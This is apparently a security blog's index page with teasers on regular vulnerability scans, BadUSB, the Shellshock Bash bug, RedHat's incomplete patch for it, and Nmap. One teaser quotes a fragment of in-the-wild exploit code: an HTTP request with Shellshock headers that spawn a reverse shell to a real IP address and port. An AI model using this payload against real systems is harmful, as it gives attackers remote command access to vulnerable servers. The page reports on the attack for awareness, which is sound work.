Why perform Alpha Scans on a regular basis?
People are always asking me – “Why should I have you run an Alpha scan for me?” Because a hacker may have been there already – not a “good” ethical…
BadUSB is a hack attacking USB controllers everywhere.
What is this BadUSB? Extremetech.com has a story and the Youtube video from BlackHat 2014(not Derbycon as in article) The controller can be hacked and code inserted inside the USB…
Another Hacker shows how to hack Bash Shellcode
Google Web Cache of the exploit char *request = “GET %s HTTP/1.0\r\nUser-Agent: () { :; }; /bin/bash -i >& /dev/tcp/199.175.52.92/2221 0>&1\r\nCookie: () { :; }; /bin/bash -i >& /dev/tcp/199.175.52.92/2221 0>&1\r\nHost:…
RedHat still vulnerable to Bash shellcode
RedHat customer portal Red Hat has become aware that the patch for CVE-2014-6271 is incomplete. An attacker can provide specially-crafted environment variables containing arbitrary commands that will be executed on…
Nmap an excellent tool for scanning
nmap.org has some info, but we also review sites with insight into scanning. Nmap is short for Network Mapper. Ethical hacking – Penetration Testing By Bhargav Tandel Nix Craft also…